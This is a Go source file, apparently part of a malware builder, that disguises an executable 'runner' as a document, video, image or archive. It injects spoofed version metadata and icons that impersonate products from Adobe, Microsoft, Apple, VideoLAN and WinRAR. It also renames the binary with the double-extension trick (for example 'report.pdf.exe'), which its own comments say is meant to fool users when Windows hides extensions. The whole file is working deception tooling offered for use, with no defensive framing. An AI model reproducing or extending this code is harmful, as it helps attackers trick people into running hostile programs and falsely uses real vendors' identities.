package builder import ( "encoding/json" "fmt" "path/filepath" "strings" ) // fileDisguiseInfo holds the spoofed Windows PE metadata for a file type. // When injected into the runner, Windows Explorer and Task Manager will show // this information instead of the generic Go binary defaults. type fileDisguiseInfo struct { FileDescription string ProductName string CompanyName string LegalCopyright string OriginalFilename string // the "real" exe that Windows thinks this is FileVersion string // e.g. "24.0.20112.0" ProductVersion string // e.g. "2024.002.20965" } // disguiseByExt maps a lower-case file extension to the PE metadata that makes // the runner binary look like the legitimate application for that file type. // Extensions without an entry fall back to a generic Windows shell host entry. var disguiseByExt = map[string]fileDisguiseInfo{ // ── Documents ────────────────────────────────────────────────────────────── ".pdf": { FileDescription: "Adobe Acrobat Document", ProductName: "Adobe Acrobat", CompanyName: "Adobe Inc.", LegalCopyright: "Copyright © 1984-2025 Adobe. All rights reserved.", OriginalFilename: "AcroRd32.exe", FileVersion: "24.0.20112.0", ProductVersion: "2024.002.20965", }, ".doc": { FileDescription: "Microsoft Word Document", ProductName: "Microsoft Office Word", CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.", OriginalFilename: "WINWORD.EXE", FileVersion: "16.0.17726.20004", ProductVersion: "16.0.17726.20004", }, ".docx": { FileDescription: "Microsoft Word Document", ProductName: "Microsoft Office Word", CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.", OriginalFilename: "WINWORD.EXE", FileVersion: "16.0.17726.20004", ProductVersion: "16.0.17726.20004", }, ".xls": { FileDescription: "Microsoft Excel Worksheet", ProductName: "Microsoft Office Excel", CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.", OriginalFilename: "EXCEL.EXE", FileVersion: "16.0.17726.20004", ProductVersion: "16.0.17726.20004", }, ".xlsx": { FileDescription: "Microsoft Excel Worksheet", ProductName: "Microsoft Office Excel", CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.", OriginalFilename: "EXCEL.EXE", FileVersion: "16.0.17726.20004", ProductVersion: "16.0.17726.20004", }, ".ppt": { FileDescription: "Microsoft PowerPoint Presentation", ProductName: "Microsoft Office PowerPoint", CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.", OriginalFilename: "POWERPNT.EXE", FileVersion: "16.0.17726.20004", ProductVersion: "16.0.17726.20004", }, ".pptx": { FileDescription: "Microsoft PowerPoint Presentation", ProductName: "Microsoft Office PowerPoint", CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.", OriginalFilename: "POWERPNT.EXE", FileVersion: "16.0.17726.20004", ProductVersion: "16.0.17726.20004", }, ".txt": { FileDescription: "Text Document", ProductName: "Notepad", CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.", OriginalFilename: "notepad.exe", FileVersion: "10.0.22621.2506", ProductVersion: "10.0.22621.2506", }, ".csv": { FileDescription: "Microsoft Excel Comma Separated Values File", ProductName: "Microsoft Office Excel", CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.", OriginalFilename: "EXCEL.EXE", FileVersion: "16.0.17726.20004", ProductVersion: "16.0.17726.20004", }, // ── Video ────────────────────────────────────────────────────────────────── ".mp4": { FileDescription: "MP4 Video File", ProductName: "Windows Media Player", CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.", OriginalFilename: "wmplayer.exe", FileVersion: "12.0.22621.2506", ProductVersion: "12.0.22621.2506", }, ".mkv": { FileDescription: "Matroska Video File", ProductName: "VLC media player", CompanyName: "VideoLAN", LegalCopyright: "Copyright © 1996-2024 the VLC authors and VideoLAN.", OriginalFilename: "vlc.exe", FileVersion: "3.0.21.0", ProductVersion: "3.0.21", }, ".mov": { FileDescription: "QuickTime Movie", ProductName: "QuickTime Player", CompanyName: "Apple Inc.", LegalCopyright: "© 2024 Apple Inc. All rights reserved.", OriginalFilename: "QuickTimePlayer.exe", FileVersion: "7.79.80.95", ProductVersion: "7.79.80.95", }, ".avi": { FileDescription: "AVI Video File", ProductName: "Windows Media Player", CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.", OriginalFilename: "wmplayer.exe", FileVersion: "12.0.22621.2506", ProductVersion: "12.0.22621.2506", }, ".wmv": { FileDescription: "Windows Media Video File", ProductName: "Windows Media Player", CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.", OriginalFilename: "wmplayer.exe", FileVersion: "12.0.22621.2506", ProductVersion: "12.0.22621.2506", }, // ── Audio ────────────────────────────────────────────────────────────────── ".mp3": { FileDescription: "MP3 Audio File", ProductName: "Windows Media Player", CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.", OriginalFilename: "wmplayer.exe", FileVersion: "12.0.22621.2506", ProductVersion: "12.0.22621.2506", }, ".wav": { FileDescription: "Wave Sound File", ProductName: "Windows Media Player", CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.", OriginalFilename: "wmplayer.exe", FileVersion: "12.0.22621.2506", ProductVersion: "12.0.22621.2506", }, // ── Images ───────────────────────────────────────────────────────────────── ".jpg": { FileDescription: "JPEG Image", ProductName: "Microsoft Photos", CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.", OriginalFilename: "Microsoft.Photos.exe", FileVersion: "2024.11050.2001.0", ProductVersion: "2024.11050.2001.0", }, ".jpeg": { FileDescription: "JPEG Image", ProductName: "Microsoft Photos", CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.", OriginalFilename: "Microsoft.Photos.exe", FileVersion: "2024.11050.2001.0", ProductVersion: "2024.11050.2001.0", }, ".png": { FileDescription: "PNG Image", ProductName: "Microsoft Photos", CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.", OriginalFilename: "Microsoft.Photos.exe", FileVersion: "2024.11050.2001.0", ProductVersion: "2024.11050.2001.0", }, ".gif": { FileDescription: "GIF Image", ProductName: "Microsoft Photos", CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.", OriginalFilename: "Microsoft.Photos.exe", FileVersion: "2024.11050.2001.0", ProductVersion: "2024.11050.2001.0", }, // ── Archives ─────────────────────────────────────────────────────────────── ".zip": { FileDescription: "Compressed (zipped) Folder", ProductName: "Windows Explorer", CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.", OriginalFilename: "Explorer.exe", FileVersion: "10.0.22621.2506", ProductVersion: "10.0.22621.2506", }, ".rar": { FileDescription: "WinRAR archive", ProductName: "WinRAR", CompanyName: "win.rar GmbH", LegalCopyright: "Copyright © 1993-2024 win.rar GmbH.", OriginalFilename: "WinRAR.exe", FileVersion: "7.01.0", ProductVersion: "7.01.0", }, } // fileDisguiseForExt returns the best disguise metadata for a given file extension. // Falls back to a generic Windows shell host entry if the extension is not recognised. func fileDisguiseForExt(ext string) fileDisguiseInfo { if info, ok := disguiseByExt[strings.ToLower(ext)]; ok { return info } // Generic fallback — looks like a Windows shell component return fileDisguiseInfo{ FileDescription: "Windows Shell Extension", ProductName: "Windows", CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.", OriginalFilename: "Explorer.exe", FileVersion: "10.0.22621.2506", ProductVersion: "10.0.22621.2506", } } // disguisedRunnerName returns the Windows runner filename that impersonates a // document type using the double-extension trick: // // "report.pdf" → "report.pdf.exe" // "clip.mp4" → "clip.mp4.exe" // // When Windows hides known file extensions (the OS default), the user sees // "report.pdf" with the PDF icon injected by applyDocumentDisguise. func disguisedRunnerName(payloadName string) string { ext := strings.ToLower(filepath.Ext(payloadName)) if ext == ".exe" || ext == "" { // Already an exe payload or no extension — no double-extension trick base := strings.TrimSuffix(filepath.Base(payloadName), filepath.Ext(payloadName)) if base == "" { base = "setup" } return sanitizeFileName(base) + ".exe" } base := strings.TrimSuffix(filepath.Base(payloadName), filepath.Ext(payloadName)) if base == "" { base = "file" } // e.g. "quarterly-report.pdf.exe" return sanitizeFileName(base) + ext + ".exe" } // winresVersionJSON builds a go-winres patch JSON that injects an icon (from // icoRelPath, relative to the winres JSON) and the spoofed version info. func winresVersionJSON(info fileDisguiseInfo, icoRelPath string) ([]byte, error) { // Convert "16.0.17726.20004" → "16,0,17726,20004" for FILEVERSION field fv := strings.ReplaceAll(info.FileVersion, ".", ",") pv := strings.ReplaceAll(info.ProductVersion, ".", ",") doc := map[string]any{ "RT_GROUP_ICON": map[string]any{ "APP": map[string]any{"0409": icoRelPath}, }, "RT_VERSION": map[string]any{ "#1": map[string]any{ "0409": map[string]any{ "FILEVERSION": fv, "PRODUCTVERSION": pv, "FileDescription": info.FileDescription, "FileVersion": info.FileVersion, "InternalName": strings.TrimSuffix(info.OriginalFilename, ".exe"), "LegalCopyright": info.LegalCopyright, "OriginalFilename": info.OriginalFilename, "ProductName": info.ProductName, "ProductVersion": info.ProductVersion, "CompanyName": info.CompanyName, }, }, }, } return marshalJSONPretty(doc) } func marshalJSONPretty(v any) ([]byte, error) { return json.MarshalIndent(v, "", " ") } // fileDisguiseSummary returns a one-line human-readable description of what the // disguise will look like, used for logging. func fileDisguiseSummary(payloadExt string) string { info := fileDisguiseForExt(payloadExt) return fmt.Sprintf("%s (%s by %s)", info.FileDescription, info.ProductName, info.CompanyName) }